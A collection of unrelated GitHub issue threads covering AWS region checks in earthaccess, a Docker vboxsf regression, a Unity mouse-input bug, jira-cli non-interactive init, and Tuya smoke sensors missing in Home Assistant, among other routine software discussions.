I could propose a pull request but I do not know if it is going to mess up if I create it before this commit is merged.


[proposed enhancement] AWS us-west-2 checking method

In some of our DAAC notebooks, we include the following Boto3 snippet to check if the notebook is being executed inside us-west-2, and throws a ValueError (with emojis) if you are not, preventing the notebook from being fully executed:
if (boto3.client('s3').meta.region_name == 'us-west-2'):
    display(Markdown('### us-west-2 Region Check: ✅'))
else:
    display(Markdown('### us-west-2 Region Check: ❌'))
    raise ValueError('Your notebook is not running inside the AWS us-west-2 region, and will not be able to directly access NASA Earthdata S3 buckets')

It may be useful to include a method that the user can call to check if they are in us-west-2 for direct S3 access and will throw an error like this, possibly using an fsspec transitive dependency, or the existing authorization checks.

Found methods to use requests to grab the current instance's region from the locally-linked Instance Identity Document, and it works great! https://gist.github.com/doublenns/7e3e4b72df4aaeccbeabf87ba767f44e
Wondering if this should be its own function that a user could call anywhere, or if it should be called only when an S3 granule is opened, which would print a detailed exception statement.

I'd be interested in helping implement this in some fashion - we're updating related functionality in icepyx and I'd love to just put it upstream and then use it.

I think it would be great if we can expose earthaccess.__store__.in_region to earthaccess.in_region(default="us-west-2") and perhaps using an nicely formatted repr output besides the boolean value?

Could someone clarify for #424:

was the spirit to check specifically for us-west-2, or to enable the user to see what region they are running in?

Thanks!

Perhaps a silly question, but why do we need to make such an explicit check? I ran across another thread somewhere (I can't find it at the moment) where it seems that this is a hard problem (impossible in some cases?) to get such a check to work reliably/confidently in various environments.
What specifically is such a check to help a user do or not do or avoid?

A lot of this has been discussed in #444.
@JessicaS11 my general understanding is that we want to provide an up-front check to confirm the "direct access tokens" requested by an Earthdata Login user will work because you can request and receive them from anywhere(locally/on-prem, another cloud, in a different region than the, in the same region as the data etc.) but you'll get an Access Denied error unless you are in the same AWS region as the data. Many users we work with don't really understand the cloud in general, let alone the specifics of AWS regions, and "looking before you leap" (LBYL) is helpful for users. This kind of check could be done right up front in a notebook so users don't waste time on something that's ultimately not going to work. Is there correct, or did I miss anything?
Sorry to be adowner here, but I'm now generally of the opinion that we should not provide a LBYL method/functionality like this at all. There are many challenges in doing this well, as described in #444, starting with https://github.com/nsidc/earthaccess/issues/444#issuecomment-1930731605. As the discussion has gone on, more problems and edge cases have come up.
I think for this, we'll be stuck with an easier-to-ask forgiveness-than-permission (EAFP) pattern, and time would be best spent on robust error handling/warnings so users understand what's happening. And really, for the high-level methods in earthaccess (e.g., smart_open), users don't actually have to care about where the data is other than it might be slow to work with the data in their location.
That said, there's one possible way to provide a LBYL method: actually open a file and see if you end up with a signed S3 URL in the region you're interested in (https://github.com/nsidc/earthaccess/issues/444#issuecomment-1940489666), and could be a granule-level method (you need something to open); something like granule.check_region('us-west-2') or granule.confirm_direct_s3_access(). There are a lot of other things that can go wrong in this process (e.g., EULAs, outages, etc) so we'll especially want good error handling with this method.
A high-level LBYL method could be implemented if we knew of good "canary" files or hosted canary files in every region (or at least the region(s) of interest), but that's a lot of infrastructure to maintain and potential cloud costs we don't have a clear way to pay for.

@jhkennedy, thanks for jumping in and supplying the link to the thread I was looking for.
I'm glad to hear that you are in favor of not trying to do this (if I understand your comment correctly -- if not, please correct me) precisely because of the difficulties involved. This is why I asked the question, because I also feel that we should not be trying to implement such a LBYL function/method for the user.
Instead, as you mentioned, we should do our best to produce a helpful error message with guidance for the user, to minimize (or eliminate) a great deal of head-scratching.

@jhkennedy @chuckwondo
Could one of you clarify how earthaccess.open would work without the LBYL/in-region check? Would it always first attempt direct access and fall back on https? Would the user have to enable logging to see how they are opening a granule, or know how to check the type of opened file? I understand the challenges of implementing the check, but want to understand the proposed UX without such a check. I'm skeptical users will be happily agnostic; I think they want confirmation they're doing the cloud thingy correctly.
A thought: if we fix the cloud_hosted filter so that it's useful (#565), we could use that as a user input on whether or not to raise an error when direct access fails.


vboxsf docker 1.5.0-rc2

There appears to be an issue with the latest version of docker and vboxfs in such that a volume mounting a vboxsf share doesn't work as expected, to be specific, I can see the directories but not the files.
To be clear what's going on here, I'm running docker inside a centos7 minimal virtualbox machine.
The directory structure I'm trying to mount looks like this:
drwxr-xr-x.  6 root root  4096 Jan 31 18:11 .
drwxr-xr-x. 23 root root  4096 Jan 31 18:11 ..
drwxr-xr-x.  3 root root  4096 Jan 31 18:11 apps
-rwxr-xr-x.  1 root root  3162 Jan 31 18:11 bootstrap
drwxr-xr-x.  3 root root  4096 Jan 31 18:11 config
-rw-r--r--.  1 root root  1496 Jan 31 18:11 docker-compose.yml
-rwxr-xr-x.  1 root root  5390 Jan 31 18:11 proxy-detect.sh
-rw-r--r--.  1 root root   381 Jan 31 18:11 proxy.yml

Thiis is what we get:
[vagrant@devenv vagrant]$ sudo docker run --rm -it -v /vagrant:/test hpess/devenv-nodejs /bin/bash
 => Executing: /bin/bash
root@devenv /storage# ls -al /test
total 4
drwxr-xr-x.  4 root   root     30 Jan 31 17:36 .
drwxr-xr-x. 22 root   root   4096 Jan 31 18:16 ..
drwxr-xr-x.  3 root root   19 Jan 31 17:36 apps
drwxr-xr-x.  2 root   root      6 Jan 31 17:36 config

This issue doesn't present itself with Docker version 1.4.1, build 5bc2ff8 so seems to be a regression in the upcoming release

Ignore me.


gtk-youtube-viewer: browsing author's video -> can't played

search for anything in gtk-youtube-viewer
right click on a video -> Author -> Uploads
none of the results can be played

I can't reproduce this issue. Try to install the latest git version to see if it is already fixed.

The latest git version works, but I didn't find a commit related to it since my previously installed version.

This issue was introduced during the addition of the support for full descriptions to videos (here) and was fixed a commit after (here).


Unity button updates don't work reliably outside the viewport.

Overview
Looks like this is a Unity bug (or call it undocumented behavior if you like): The GetMouseButton function does not work reliably outside the viewport window when called in the Update function. Doing this in the FixedUpdate function instead seems to work, although i could only find vague hints in forum posts and all official documentation seems to indicate that Update() should be working.
Changes

Fixes: #5485 .

@keveleigh, @davidkline-ms

Change currently breaks tests because the ManualCameraControl does not always exist in FixedUpdate. Easy enough to fix, but i also think that this fix cannot be correct - all documentation and forum answers state that input should be handled in Update rather than FixedUpdate. I don't have any idea why that doesn't work here ...

It seems to be a Unity bug: If you press two buttons simultaneously (right + left or middle) and move the cursor outside of the viewport, only the 1st button released gets the ButtonUp state change signal. The second button release is never registered, you have to go back into the viewport and press that button again.

Same behavior in Unity 2018 and 2019.

/azp run stabilization_pr

/azn run

Changing this back to target mrtk_development, as it looks like otherwise this ends up pulling in other changes.

/azp run

Could we just lock the mouse to the viewport instead?
https://docs.unity3d.com/ScriptReference/Cursor-lockState.html
That feels like a cleaner change than adding another method call to every service just to fix one, especially if we don't fully understand why it fixes it.

Yes, this PR should not be merged as-is (have set the DONOTMERGE label). Fixing the tests is simple, but i agree adding another update function for services is not great and shouldn't be necessary in the first place.
I hesitate to add cursor locking at this late stage before GA. It feels like we are inviting other bugs that way, because the state has to be reliably reset to avoid getting stuck in the viewport. Quoting the Unity docs:

To provide a good user experience the recommended behavior is only to lock or confine the cursor as a result of user action, for example by pressing a button.

The problem with missing mouse button events also happens for other interactions, like grabbing objects or pushing buttons. There is little common ground to determine whether a mouse button push is intended to be used in conjunction with moving, where it could end up outside the viewport window. Locking the cursor on any kind of mouse button press could easily break other interactions, like UnityUI button pushes.

Locking the cursor on any kind of mouse button press could easily break other interactions, like UnityUI button pushes.

(emphasis mine) Ah right yeah, I said the wrong thing. I was more thinking any time space bar is pressed to bring a hand up, we'd lock the mouse for simulated hand control, then when the hand is removed / inactive, we'd relinquish control.

Locking the cursor on any kind of mouse button press could easily break other interactions, like UnityUI button pushes.

(emphasis mine) Ah right yeah, I said the wrong thing. I was more thinking any time space bar is pressed to bring a hand up, we'd lock the mouse for simulated hand control, then when the hand is removed / inactive, we'd relinquish control.

Thing is, this bug is not related to hand simulation at all. Try this:

Press & Hold RMB to start rotating camera.
Press & Hold LMB as well.
Move the mouse outside the viewport.
Release LMB first (!)
Release RMB second
Now when you move back into the viewport the camera will still be rotating. You have to click RMB a again to stop it. No hands involved.

The bug is definitely on the Unity side, but unfortunately won't be fixed. Closing this PR.
https://issuetracker.unity3d.com/issues/mouse-button-input-remains-active-after-clicking-going-off-screen-and-releasing-it


Remove quoting side-bars from planetiler-custommap/README.md

Multiple levels of quoting side-bars were present in this README.md for no apparent reason.

This was to try to show that those contexts are nested inside each other so they each inherit from the parent. Maybe a nested bulleted list would work to illustrate that?

I wouldn't have guessed...

Looks good! May need to update when we can have multiple contexts that nest directly within a parent, but this works for now.


any plans to support half 2.2?

This repo appears to only support 1.12 from upstream.  2.2.0 is the latest https://sourceforge.net/p/half/code/HEAD/tree/trunk/

We could try to pull in the changes and see what happens.

no one is working on this.


Bind backend/drm.h

Let me know if the organization is good for you. I mostly did the part for the panel orientation, but all backend and drm files in wlroots is a bit confusing to me tbh, so maybe I missed some important part to bind.

Closing as stale, I'd rather not add significant amounts of bindings that aren't used/tested by any compositor depending on zig-wlroots. If you'd still like to the panel orientation support merged please open a new PR on the new codeberg repo. (Though I think we still don't have a way to test that either?)


Jira init non-interactive

``> Please consider opening a discussion in ideas category if applicable. Your feature will be prioritized on based on the number of votes.
Is your feature request related to a problem? Please describe.
I'm trying to use jira cli in a pipeline and i was wondering if i could init with a non-interactive way
Describe the solution you'd like
A flag to pass the data to jira init command
Describe alternatives you've considered
using curl command to create issue and edit them using Jira REST API

Concur 100% --- fully every sub-command should be non-interactive.

FWIW, I have worked around this by creating a a templated version of ~/.config/.jira/.config.yml and deploying it to the proper location on my build agents when they begin a job that requires jira-cli.
installation: Local
login: $JIRA_API_USER
project:
  key: $MATCHING_PREFIX
  type: ""
server: $JIRA_URL

Still, not ideal. It should definitely be possible to run init in a non-interactive fashion.

I am with you folks on this! This one is on my to-do list and I will work on it. PRs are welcome in the meantime.


Lists to Sequences

Because we're going to need to modify the board, it's way more efficient to use Sequences instead of Lists, apparently. At least, according to this StackOverflow answer. https://stackoverflow.com/a/10133754

We're not going to do this


Missing sensor state entity of the Tuya Smoke sensor

I have added to my account two wifi smoke sensors. It became also available as a new device in my Tuya integration, but it has only one entity: binary_sensor.xxx_battery.
Now i can see what is the battery state, but not the state of the sensor it self. I can not make any automation if it detects smoke.

 So I attach the device info of the other sensor.
{
  "active_time":<PHONE_NUMBER>,
  "biz_type": 18,
  "category": "ywbj",
  "create_time":<PHONE_NUMBER>,
  "icon": "smart/icon/ay1537847617560vAgbw/7e92e4faee02fae4a4d6defe063cf628.jpg",
  "id": "bfa12b65cb4dba003b3btk",
  "ip": "***",
  "lat": "***",
  "local_key": "***",
  "lon": "***",
  "model": "YG400A-加电量",
  "name": "Washing room smoke sensor",
  "online": true,
  "owner_id": "1993740",
  "product_id": "ratstesiekxoea7a",
  "product_name": "",
  "status": [
    {
      "code": "battery_state",
      "value": "high"
    }
  ],
  "sub": false,
  "time_zone": "+01:00",
  "uid": "***",
  "update_time":<PHONE_NUMBER>,
  "uuid": "d51de6d8dc4a47f2"
},

I ordered one Tuya smoke detector last month to see if I can get it integrated with HA. All worked fine including all entities recognized by HA. Last week I ordered 6 more and despite the fact that they look exactly the same, they didn't get integrated fully in HA and I am getting the battery state only so I am having the exact same issue described above.
Working version:
Device info
Smoke detector (vsmzasbmbp1wtadv)
by Tuya
Non working version:
Device info
(ratstesiekxoea7a)
by Tuya

Thank for the update.
I can confirm that my devices are ratstesiekxoea7a also.

I have the same problem, did any of you found some workaround ?

Unfortunately, no solution yet.

same problem here

Hi, i create a virtual device switch on https://iot.tuya.com/cloud/, then in the app i create a scene that when smoke alert trigger, switch on de virtual device.  In home assistant i add de virtual device and montoring it.

It was a brilliant idea!
Thanks a lot!
This way I can solve alsi other problems I had.
nikodobla @.***> ezt írta (időpont: 2022. aug. 4., Cs
15:29):

Hi, i create a virtual device switch on https://iot.tuya.com/cloud/, then
in the app i create a scene that when smoke alert trigger, switch on de
virtual device. In home assistant i add de virtual device and montoring it.
—
Reply to this email directly, view it on GitHub
https://github.com/tuya/tuya-home-assistant/issues/771#issuecomment-1205259044,
or unsubscribe
https://github.com/notifications/unsubscribe-auth/AB7RYDBOIO4BJNNZXRLUCZLVXPASBANCNFSM5MSFMX6A
.
You are receiving this because you authored the thread.Message ID:
@.***>

same problemm here, device: xxf2ihg4yseqofkp

Same problem here.

espite the fact that they look exactly the same, they didn't get integrated fully in HA and I am getting the battery state only so

very interesting idea, which virtual device did you choose exactly?

is seems the the standard instruction set only gives battery state .
on the tuya IoT platform change the contol instruction mode to DP instruction .
then push the test button homeassistan now gets the binary_sensor.rauchwarnmelder
hope this helps anyone .
gr.

When I change the instruction  mode, then it popup a message like this:
"Are you sure to change the control instruction mode to the raw DP mode?
After you save the configuration, the devices under this project might not be able to be controlled by the original standard instructions. Refer to the DP instructions for re-adaptation."
Does it mean, that I need to delete the device and reconnect in the Tuya app?

on the tuya IoT platform change the contol instruction mode to DP instruction .
then push the test button homeassistan now gets the binary_sensor.rauchwarnmelder

This worked for me. Make sure that in Tuya IoT after applying the change, go into viewing mode and click the refresh configuration button.
I reloaded the Tuya device in Home Assistant and it added the status entity.

Same problem here !

It worked for me with changing the mode to DP instruction. This only needs to be done once for the device type and then it will affect all devices of this type.
To change the mode: Open Tuya IOT Platform website and login. Select Cloud > Development. Select/Click on your project. Select the "Devices" tab. In the "View Devices by Product" section, select the respective product. In my case it was "ZX-3150" for my smoke detectors. Press the pencil on the top right to edit this product settings. Click on "DP Instruction", confirm and "Save Configuration".
After that, reload the tuya integration in Home Assistant. For me, it took about half an hour and I reloaded a couple of times, before the smoke detection state got visible.

i also dit that and it got me the smoke detection state but it wont trigger. if i hit the test button on the smoke detector in tuya i get a trigger but it wont trigger in home assistant.

is seems the the standard instruction set only gives battery state . on the tuya IoT platform change the contol instruction mode to DP instruction . then push the test button homeassistan now gets the binary_sensor.rauchwarnmelder hope this helps anyone . gr.

this is the solution to the problem,
just dont forget to refresh the configuration after the change, in the view instruction details, then go to Home assistant and reload the integration.

I have a smoke detector which is called Smoke Alarm (cjlutkuuvxnie17o). I also applied the DP Instruction option and the three options became available, but whatever i do the smoke sensor state is "Not detected".
Is there any solution for this?

Hi! Same issue here, not detected in HA, any idéa?

i think i found the issue!
my smoke alarm sensor is setting SMOKE_SENSOR_STATE to alarm
but if you check the specs for tuya stuff - https://developer.tuya.com/en/docs/iot/s?id=K9gf48r5i2iiy
it shows state must be 0 or 1 and status must be normal or alarm,
so my device is setting them the wrong way around !?
ive checked HA code and its checking it correctly but needs fixing for weird devices like mine that are getting them to wrong way around

I had the same problem but with the DP instruction it finally works. Pay special attention to restart the options in IOT to make it work as earlier mentioned.

I found I way to add all the 3 sensors.
1-At tuya Cloud , open your project, devices, click at the pen to edit the device and change it to DP instruction

2-Open at custon_components/tuya/const.py and change
TEMPER_ALARM = "temper_alarm"  # Tamper alarm
to
TEMPER_ALARM = "tamper_alarm"  # Tamper alarm
3-Open at custon_components/tuya/binary_sensor.py and change
look for "ywbj"
and change all items to
# Smoke Detector
# https://developer.tuya.com/en/docs/iot/categoryywbj?id=Kaiuz3f6sf952
"ywbj": (
    TuyaBinarySensorEntityDescription(
        key=DPCode.SMOKE_SENSOR_STATE,
        device_class=BinarySensorDeviceClass.SMOKE,
        on_value="alarm",
    ),
    TEMPER_BINARY_SENSOR,
),

4-Restart HA
5-After load all, reload tuya
6-And voyla!

I found I way to add all the 3 sensors.
1-At tuya Cloud , open your project, devices, click at the pen to edit the device and change it to DP instruction
2-Open at custon_components/tuya/const.py and change TEMPER_ALARM = "temper_alarm" # Tamper alarm to TEMPER_ALARM = "tamper_alarm" # Tamper alarm
3-Open at custon_components/tuya/binary_sensor.py and change look for "ywbj" and change all items to
# Smoke Detector
# https://developer.tuya.com/en/docs/iot/categoryywbj?id=Kaiuz3f6sf952
"ywbj": (
    TuyaBinarySensorEntityDescription(
        key=DPCode.SMOKE_SENSOR_STATE,
        device_class=BinarySensorDeviceClass.SMOKE,
        on_value="alarm",
    ),
    TEMPER_BINARY_SENSOR,
),

4-Restart HA 5-After load all, reload tuya 6-And voyla!

Made the same changes but nothing changed. I use https://github.com/tuya/tuya-smart-life integration. Any thought on that, please?

@teamfighter this was working for me UNTIL home-assistant/tuya changed the API last month i think, now suddenly, one of my smoke alarms has its smoke_sensor value vanished and no longer exists, yet it exists in the tuya cloud api

Any chances to get this sensor work in home assistant?

@si458 I wrote to tuya support, they fixed the issue. Now smoke sensor detects correctly in HA with core tuya integration. Please check it too.

@teamfighter this isnt fixed in my case,
it WAS working, UNTIL tuya updated home assistant last month and we have to link via the APP now rather than the IOT
(i think it might of been janurary 24),
then suddenly one of my smoke alarms, the value has VANISHED, yet its listed in the IOT platform
HALLWAY WORKING

LANDING NOT WORKING

@teamfighter this isnt fixed in my case, it WAS working, UNTIL tuya updated home assistant last month and we have to link via the APP now rather than the IOT (i think it might of been janurary 24), then suddenly one of my smoke alarms, the value has VANISHED, yet its listed in the IOT platform
HALLWAY WORKING
LANDING NOT WORKING

Same, it was working until the tuya update.

I can confirm, that is fixed in my case.

I can confirm, that is fixed in my case.

@Zylazy,
What did you change to make it work again ?

@Zylazy
I'm interested in your solution also

Hi All,
Sorry for tha late answer.
So what I did:

Enabled the "DP Instruction" on the iot.tuya.com site:

And then using the latest Tuya integration it worked fine:

I did exactly the same but not the same result

Same as @ArnolddeBolster.
I did the same, but in HA no smoke sensor is shown.
NOTE: This worked for me in the past until Tuya changed the integration to authenticate via QR.

@Robbe-B its the same for me,
was working fine when i switched the DP,
then after the new QR code auth update, im missing the sensor completely!
but i can see from the web ui and the MQTT that the sensor is there!?

@si458,
I guess the root cause will be that in essention,
we've changed from a DEV account to a regular account where the DP no longer applies ?
Something like that probably.

@si458 ,
Nice investigation work there !
I'll probably end up flashing ESPHome on the Tuya chips in order to get rid of this issue for once and always 😄
Keep me posted !
Kind regards,
Robbe

@Robbe-B im not that brave, give me code, ill find n fix it, give me hardware, it will end up more broken 😆

@Robbe-B the issue is the DPs and the is nothing we can do - https://github.com/home-assistant/core/issues/109923

@si458,
It's a pity.
I'll look into flashing these devices with custom firmware 😄

@Robbe-B any luck with anything do share! as i would like to give it a try.
its annoying cuz 1 smoke alarm shows 'smart' and works, but my other one which doesnt show as 'smart' doesnt.
i do wish HA would of made the new integrate 'Smart-Life' rather than 'Tuya', and left 'Tuya' using the IOT platform!

I still wonder why this intgration was changed that way making thousands of devices unusable. I could live with having an option to stick with the developer account if I could still use my devices.
For sure it's not just smoke detectors that stopped working.

Hello!
So, for now there is no way to leave the detector local?
I'm trying with the HACS plugins, but it's not able to connect.
I have seen in another forum that they are changing the firm, but I still don't think they have it very tuned


how to :link the access token and the session

when I login using Authorization Code Mode from a client by using user and password page, I fond that if only visit the authorization sever(using web page) ,I can not get the session which has been create by client .So I can not invalid the session.Or is there any methed which can be use to link the access token and the session.

@zwjsexcalibur Questions are better suited to Stack Overflow. We prefer to use GitHub issues only for bugs and enhancements.


Make sure we have copyright headers

GTA/D4V

I don’t trust the automated copyright things, especially in this repo where we have many different copyright owners.

It's only for new files

Check in the above and it'll be setup automatically for everyone